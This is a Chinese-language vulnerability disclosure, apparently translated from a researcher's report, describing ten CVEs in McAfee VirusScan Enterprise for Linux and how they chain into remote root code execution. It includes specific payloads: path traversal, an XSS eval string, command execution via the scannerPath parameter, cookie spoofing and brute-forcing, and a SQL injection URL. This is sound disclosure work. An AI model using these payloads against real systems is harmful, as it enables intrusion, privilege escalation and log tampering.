概述
安全研究专家在McAfeeVirusScan Linux企业版中发现了大量的安全漏洞,这些漏洞将允许远程攻击者入侵运行了这款反病毒产品的计算机系统。除此之外,攻击者甚至还可以利用其中的多个漏洞(组成漏洞利用链)来实现以root权限执行远程代码。
漏洞利用PoC:【点我获取】
受影响的产品版本
从v1.9.2(发布于2015年2月19日)到v2.0.2(发布于2016年4月22日)版本的产品均会受到漏洞的影响,而旧版本产品由于更新问题,则更加容易受到攻击。
时间轴
2016年6月23日:漏洞上报给了安全应急响应中心(CERT),漏洞的详细信息将会在8月23日正式对外披露。
2016年7月19日:McAfee要求推迟漏洞披露时间,暂定于9月份,但有可能要推迟到12月份。
2016年9月-2016年11月:McAfee公司没有任何的消息。
2016年12月5日:McAfee通知称,12月12日为漏洞的披露日期。
2016年12月9日:McAfee发布了安全公告,并为漏洞分配了CVE ID。
2016年12月12日:正式发布漏洞分析报告,并对相应漏洞的细节进行了描述。
产品介绍
乍看之下,英特尔公司旗下的McAfeeVirusScan Linux企业版所拥有很多优秀的特性,而这些功能和特性是漏洞研究人员非常喜爱的:它能够以root权限运行,它声称可以让你的系统更加安全,它并不是特别的流行,而且它看起来好像已经很久没更新了。当我注意到了这些特性之后,我打算仔细研究一下这款工具。
系统架构
在对产品漏洞的细节进行分析之前,我们需要快速了解一下这款产品的系统架构。
服务
这款产品包含两个单独的服务:其中一个以root权限运行,另一个以非特权用户(nails)运行。扫描程序的主服务以root权限运行,负责监听本地Unixsocket(/var/opt/NAI/LinuxShield/dev/nails_monitor)。Webserver则以nails用户权限运行,负责监听0.0.0:55443。
进程间通信
这个Webserver其实就是一个扫描服务的用户操作界面。当用户像webserver发送请求的时候,系统会重新对请求信息进行格式化,然后请求会被发送至root服务。处理完成之后,用户就可以在一个html网页中看到响应信息了。需要注意的是,这个web接口并不会对用户的输入数据进行限制,所以攻击者也可以向root服务发送恶意数据。
漏洞统计
下面给出的就是本文将要讨论的十个漏洞:
1.CVE-2016-8016:未经验证的远程文件探测漏洞
2.CVE-2016-8017: 未经验证的文件远程读取漏洞(受限)
3.CVE-2016-8018: 无跨站请求伪造(CSRF)验证令牌
4.CVE-2016-8019: 跨站脚本攻击(XSS)
5.CVE-2016-8020: 远程代码执行&特权提升漏洞(提权)
6.CVE-2016-8021: Web接口允许在已知地址写入任意文件
7.CVE-2016-8022: 远程使用身份验证令牌
8.CVE-2016-8023: 暴力破解身份验证令牌
9.CVE-2016-8024: HTTP响应拆分
10.CVE-2016-8025: SQL注入漏洞
如果攻击者能够将这些漏洞组成漏洞利用链,那么攻击者就能够以root用户权限在目标主机中实现远程代码执行。
漏洞No.1CVE-2016-8016:未经验证的远程文件探测漏洞
在对Web接口中的各个部分进行分析时,我们发现了tplt参数重指定了一个html文件的路径,大家可以在上图中看到,tplt参数中设置的是tasks.html。在web服务器上运行strace命令之后,我们可以得到这个被打开的html文件地址为/opt/NAI/LinuxShield/apache/htdocs/0409/tasks.html,具体如下图所示:
如果tplt参数设置的是其他的页面,例如..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd(经过URL编码的字符串../../../../../../etc/passwrd),那么此时的响应信息将会是一个包含有错误变量(错误码为14)的页面。JavaScript函数lookupErrorCode会将error14映射为字符串“BadlyFormed Web Template.”。如果tplt变量设置成了一个不存在的相对地址,那么错误变量将会被设置为10,error10对应的则是“connot open file”。
一个未经身份认证的远程用户可以通过这两条错误信息来探测目标系统中是否存储有某份文件。这也让我们不得不去思考,有效的Web模版(例如tasks.html)和无效的模版文件(例如/etc/passwd)之间到底有什么不同。
漏洞No.2CVE-2016-8017: 未经验证的文件远程读取漏洞(受限)
在对Webserver所使用的各种模版文件进行了分析之后,我们可以看到有效的模版文件会包含字符串“__REPLACE_THIS__”或者两个标签“[%”和“%]”,并且这两个标签中间还会有一个字符串(任意值)。
如果攻击者可以替换这些字符串,那么攻击者就可以利用webserver来远程读取目标主机中的文件了。不过在利用这个漏洞的过程中,攻击者只能以“nails”用户权限来读取文件。
漏洞No.3CVE-2016-8018: 无跨站请求伪造(CSRF)验证令牌
Web接口中的所有表单都没带有CSRF验证令牌,当经过验证的用户访问了由攻击者控制的外部域名之后,攻击者就可以利用用户的合法信息来提交认证请求了。其实,在一款2016年发布的反病毒产品中看到这样一种最基础的漏洞,着实令人感到惊讶。
漏洞No.4CVE-2016-8019: 跨站脚本攻击(XSS)
当tplt参数设置为NailsConfig.html或MonitorHost.html时,参数info:7和info:5将负责把不受信的用户输入数据以字符串的形式传递给JavaScript函数formatData()。通常情况下,info:7的值是一个字符串列表(例如single,show,serverUtcOffset=-25200)。其中的值将会被保存在一个字符串(单引号扩起来的)中,然后传递给formatData函数。如果参数info:7的值设置成了single’.prototype.constructor=eval(‘alert(“xss”‘))+’,那么eval函数将会在formatData函数被调用之前执行恶意的JavaScript代码。
这个Payload将会把弹窗信息修改为“xss”。
漏洞No.5CVE-2016-8020: 远程代码执行&特权提升漏洞(提权)
在开始扫描系统之前,我们还需要填写四个表单。
当我们提交了最后一个表单页面之后,系统会向服务器发送一个包含大量信息的请求。请求信息中的部分参数如下所示:
nailsd.profile.ODS_9.scannerPath变量中包含着系统所要扫描的路径信息,将它的值修改为“/bin/sh”之后,我们将会在web页面中看到下列错误信息:
运行strace命令后我们可以看到,这个参数被一个以root】权限运行的进程直接传递给了execve函数。
通过修改这个参数的值,经过认证的用户可以通过root用户权限来执行任意代码,攻击者还可以配合其他的XSS或CSRF漏洞来进行攻击。
漏洞No.6CVE-2016-8021: Web接口允许在已知地址写入任意文件
Web界面允许用户指定一台更新服务器,并向这台服务器请求更新。如果我们想要让远程用户向系统写入文件的话,也许这个功能会非常有用。
为了了解这个更新服务器的工作机制,我在本地克隆了一份McAfee的更新代码库,然后重新对服务器进行了设置,让系统从我的服务器下载更新。
在更新过程中系统会发出两个请求(/SiteStat.xml和/catalog.z)。SiteStat文件是一个标准的XML文件,记录了网站的运行状态和一些基本信息。catelog.z文件貌似是一个McAfeeePolicy Orchestrator文件,文件中大多是一些二进制数据。我之前认为,系统会对更新包进行签名认证,所以我们无法通过向目标系统推送恶意更新来完成攻击。但是,我打算利用这个功能来向目标系统发送一个shell脚本,然后利用之前的一些漏洞来完成攻击。
我们可以从日志文件中了解到具体的更新步骤:下载文件、验证文件完整性、解压缩和完成安装。
因为它并不是一个单线程的程序,所以我们可以利用这个逻辑来让程序下载一个大文件并保存在/opt/McAfee/cma/scratch/update/catalog.z,然后在下载完成之前或者在开始验证之前利用漏洞5来执行我们的恶意脚本。
结合漏洞5和漏洞6,攻击者就可以实现提权了,即从nails用户权限提升为root权限。除此之外,攻击者还可以利用CSRF或XSS来利用这些漏洞实现远程提权。
漏洞No.7CVE-2016-8022: 远程使用身份验证令牌
为了能够利用XSS和CSRF漏洞,我们需要从目标主机中窃取已认证用户的cookie数据。但是当我在我的设备上使用这些cookie来进行身份验证时,却发现验证失效了:
我在原始设备上再一次对这些令牌进行了验证,所以我认为认证令牌很可能会对用户的IP地址进行限制。这也就使得我们的漏洞利用过程更加困难了,但是我们仍然可以在目标用户的浏览器中使用JavaScript脚本来利用XSS漏洞实施攻击。
当用户通过网站来进行身份验证时,认证消息会通过一个unix-socket发送至root服务。root服务会对认证消息进行验证,然后将验证结果返回给Webserver。为了弄清楚我的cookie到底出了什么问题,我使用了socat来拦截这些socket信息。我们可以在拦截下的信息中看到下面这两个请求:
有效请求
1 <p>< 2015/07/30 11:14:28.119036 length=70 from=0 to=69</p><p>+OK welcome to the NAILS Monitor Service<19224.2214.1438280068.161>/r</p><p>> 2015/07/30 11:14:28.119326 length=54 from=0 to=53</p><p>auth 2259618965-19224.2214.1438280068.161-2259618965/r</p><p>< 2015/07/30 11:14:28.119399 length=31 from=70 to=100</p><p>+OK successful authentication/r</p><p>> 2015/07/30 11:14:28.137344 length=66 from=54 to=119</p><p>cred 127.0.0.1/nails/1438280067/1438279968-checksum//0127.0.0.1/r</p><p>< 2015/07/30 11:14:28.137530 length=20 from=101 to=120</p><p>+OK credentials OK/r</p>
无效请求
1 <p>< 2015/07/30 11:14:28.119036 length=70 from=0 to=69</p><p>+OK welcome to the NAILS Monitor Service<19224.2214.1438280068.161>/r</p><p>> 2015/07/30 11:14:28.119326 length=54 from=0 to=53</p><p>auth 2259618965-19224.2214.1438280068.161-2259618965/r</p><p>< 2015/07/30 11:14:28.119399 length=31 from=70 to=100</p><p>+OK successful authentication/r</p><p>> 2015/07/30 11:14:28.137344 length=66 from=54 to=119</p><p>cred 127.0.0.1/nails/1438280067/1438279968-checksum//0[ATTACKER IP]/r</p><p>< 2015/07/30 11:14:28.137530 length=20 from=101 to=120</p><p>+ERR bad credentials/r</p>
由此看来,用户请求认证时,webserver会将请求者的IP地址和cookie信息打包发送。我们的cookie是通过一个基于文本的协议发送的,cookie后面还有一些数据空间和IP地址。但是,如果我们将其中的一个数据域修改为目标用户的IP地址后,系统将无法进行正常的解析。
socket中的原始信息如下:
1 AUTH [cookie] [ATTACKER IP]
修改后的信息如下:
1 AUTH [stolen cookie + VICTIM IP ] [ATTACKER IP]
此时,服务将无法正常解析这一行数据,并且会认为这段cookie数据是从目标用户的IP地址发出的。
完整的通信数据如下:
1 <p>< 2015/07/30 11:14:28.119036 length=70 from=0 to=69</p><p>+OK welcome to the NAILS Monitor Service<19224.2214.1438280068.161>/r</p><p>> 2015/07/30 11:14:28.119326 length=54 from=0 to=53</p><p>auth 2259618965-19224.2214.1438280068.161-2259618965/r</p><p>< 2015/07/30 11:14:28.119399 length=31 from=70 to=100</p><p>+OK successful authentication/r</p><p>> 2015/07/30 11:14:28.137344 length=66 from=54 to=119</p><p>cred 127.0.0.1/nails/1438280067/1438279968-checksum//0127.0.0.1 10.0.0.130/r</p><p>< 2015/07/30 11:14:28.137530 length=20 from=101 to=120</p><p>+OK credentials OK/r</p>
漏洞No.8CVE-2016-8023: 暴力破解身份验证令牌
下面给出的是nailsSessionIdcookie的一些样本值,当用户登录或注销nails账号时会自动生成这些值。
1 <p>127.0.0.1/nails/1459548338/1459548277-checksum//0</p><p>127.0.0.1/nails/1459549661/1459549629-checksum//0</p><p>127.0.0.1/nails/1459549695/1459549629-checksum//0</p>
在普通的登录过程中,cookie中只有两个部分会发生改变。Cookie格式如下所示:
1 [host]/[username]/[SECRET1]/[SECRET2]-checksum//[Zero]
正常的数据如下所示:
将时间戳作为[SECRET]变量的值绝对是一个糟糕的想法,因为这个值是可以被暴力破解出来的,但是使用两个时间戳的话会增加攻击的难度。在进行了一些基本的测试之后,我们发现这些数据域可接受的值范围非常的广泛:
这样一来,我们只需要获取到服务器的启动时间,然后修改下列cookie中的DATE值就可以了:
1 [Attacker IP]/n/0/[DATE]-checksum//
漏洞No.9CVE-2016-8024: HTTP响应拆分
用户可以在“系统事件”页面中导出所有的日志数据(CSV文件),此时系统会发送一个GET请求。
在这个请求中,有一个参数为info%3A0。这个参数的值通常为multi%2Capplication%2Fvnd.ms-excel。在服务器相应的响应数据中,有一个header为Content-Type:application/vnd.ms-excel。攻击者可以将header中的链接修改为恶意文件。
漏洞No.10CVE-2016-8025: SQL注入漏洞
这个系统使用SQLite数据库来存储设置信息和之前的病毒扫描结果。在研究过程中,我发现这个数据库的每一个接口都存在SQL注入漏洞。这个应用可以将URL参数转换为SQLite命令,配合我们在描述漏洞9时所提到的CSV文件导出功能,我们就可以通过访问这个URL来导出sqlite_master表(CSV格式)。“select* from sqlite_master;”这个请求已经嵌入在了下面的URL地址中:
1 localhost:55443/0409/nails?pg=proxy&tplt=-&addr=127.0.0.1%3A65443&mon%3A0=db+select+_show%3D%24*++_output%3Dcsv+_table%3Dsqlite_master+&info%3A0=multi%2Capplication%2Fvnd.ms-excel
这个数据库与用户身份验证无关,它存储的是系统的病毒扫描日志。在入侵了目标设备之后,攻击者就可以利用SQL注入攻击来修改这些日志,并清除他们的攻击痕迹。
数据库模式如下:
1 <p>"*"</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","nailsInfo","nailsInfo","4","createtable nailsInfo(attrib varchar(32) not null unique, -- name of the attribute</p><p> val varchar(32), --string value</p><p> i_val integer --integer value</p><p> )"</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","(nailsInfo autoindex1)","nailsInfo","3",""</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","counters","counters","5","createtable counters(i_lastUpdated integer not null, --time the counters were last updated</p><p> i_scanned integer not null, -- Number of objects scanned </p><p> i_totalScanCpu integer not null, -- Total CPU used for scanning (microseconds) </p><p> i_excludes integer not null, -- Number of excluded files </p><p> i_ok integer not null, -- Number of files scanned to be ok </p><p> i_infected integer not null, -- Number of objects that have beeninfected </p><p> i_infections integer not null, -- Number of of infections </p><p> i_cleaned integer not null, -- Number of objects that have beencleaned </p><p> i_cleanAttempts integer not null, -- Number of objects that have been queuedfor cleaning </p><p> i_cleanRequests integer not null, -- Number of clean requests from the scansources </p><p> i_repaired integer not null, -- Number of repairs made </p><p> i_possiblyCleaned integer not null, -- Number of partial repairs made </p><p> i_errors integer not null, -- Number of failed scans not cleanand not infected </p><p> i_timeouts integer not null, -- Number of scans that have timed out </p><p> i_denied integer not null, -- Number of process denied access </p><p> i_deleted integer not null, -- Number of cleans that resulted indeleting the file </p><p> i_renamed integer not null, -- Number of cleans that resulted onrenaming the file </p><p> i_quarantined integer not null, -- Number of cleans that resulted onquarantining the file </p><p> i_corrupted integer not null, -- Number of corrupted itemsdetected by scanning </p><p> i_encrypted integer not null, -- Number of encrypted itemsdetected by scanning </p><p> i_uptime integer not null, -- Number of seconds since we started</p><p> i_wait integer not null, -- Number of objects waiting to bescanned </p><p> i_busy integer not null, -- Number of objects being scanned </p><p> i_adds integer not null, -- Number of objects that have beenadded to a queued entry </p><p> i_cacheSize integer not null, -- Number of entries in the cache </p><p> i_cacheHits integer not null, -- Number of cache hits </p><p> i_cacheMisses integer not null, -- Number of cache misses </p><p> i_cacheInserts integer not null -- Number of cache insertions </p><p> )"</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","schedule","schedule","9","createtable schedule(i_taskId integer primary key, -- an auto-increment column</p><p> taskName varchar(64) not null unique, --the name of the task</p><p> timetable varchar(255) not null, -- the encoded string of when it runs</p><p> taskType varchar(16) not null, -- upgrade, scan, report</p><p> taskInfo varchar(255), -- information specific to the task</p><p> taskResults varchar(255), -- results of the task</p><p> i_lastRun integer, -- time lastrun</p><p> status varchar(8), -- status of last run</p><p> progress varchar(255), -- progress string</p><p> i_duration integer, -- current duration of the task run</p><p> i_nextRun integer, -- time next run</p><p> i_recurrenceCounter integer, -- count scheduler invocations bycron</p><p> i_taskPid integer -- pid of the task being run</p><p> )"</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","(schedule autoindex1)","schedule","8",""</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","errorClass","errorClass","12","createtable errorClass(errorClsNm varchar(16) not null unique)"</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","(errorClass autoindex1)","errorClass","11",""</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","repository","repository","15","createtable repository(siteList blob, status int)"</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","scanLog","scanLog","16","createtable scanLog(i_logId integer primary key, --an auto-increment column</p><p> originvarchar(8) not null, -- accessor demand</p><p> i_taskIdinteger, -- referencesschedule.i_taskId</p><p> i_objIdinteger, -- an id torelate scan events on the same object</p><p> i_timinteger not null, --UTC time it happened</p><p> fileNamevarchar(255), </p><p> pathvarchar(255), </p><p> actionvarchar(16),</p><p> virusNamevarchar(64),</p><p> virusTypevarchar(16), -- Unknown, Virus,App, Joke, Killed, Test, Trojan, Wannabee</p><p> userNamevarchar(32),</p><p> processNamevarchar(32)</p><p> )"</p><p>"31-Dec-1969 16:00:00 (-08:00UTC)","eventLog","eventLog","18","createtable eventLog(i_logId integer primary key, --an auto-increment column</p><p> origin varchar(8) notnull, -- system or task</p><p> i_taskId varchar(64), -- references schedule.i_taskId</p><p> i_objId integer, -- an id to relate events on the same object</p><p> i_tim integer not null, -- UTC time it happened</p><p> errorClsNm varchar(16), -- references errorClass.errorClsNm</p><p> i_errorCode integer, -- the error code</p><p> errorType varchar(8), -- info or error</p><p> description varchar(255)</p><p> )"</p>
漏洞综合利用:以Root权限实现远程代码执行
攻击者可以利用其中的一个或多个漏洞在远程主机中以root用户权限执行任意代码:
1. 利用漏洞7和漏洞8对身份验证令牌进行暴力破解。
2. 开启恶意更新服务器。
3. 利用漏洞7向更新服务器发送请求(带有身份验证令牌)。
4. 利用漏洞6在目标系统中创建并执行恶意脚本。
5. 利用漏洞5和漏洞6来触发目标主机中的漏洞扫描任务,但实际上执行的是恶意脚本。
6. 在目标设备中以root权限执行恶意脚本。
* 参考来源:Andrew Fasano,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM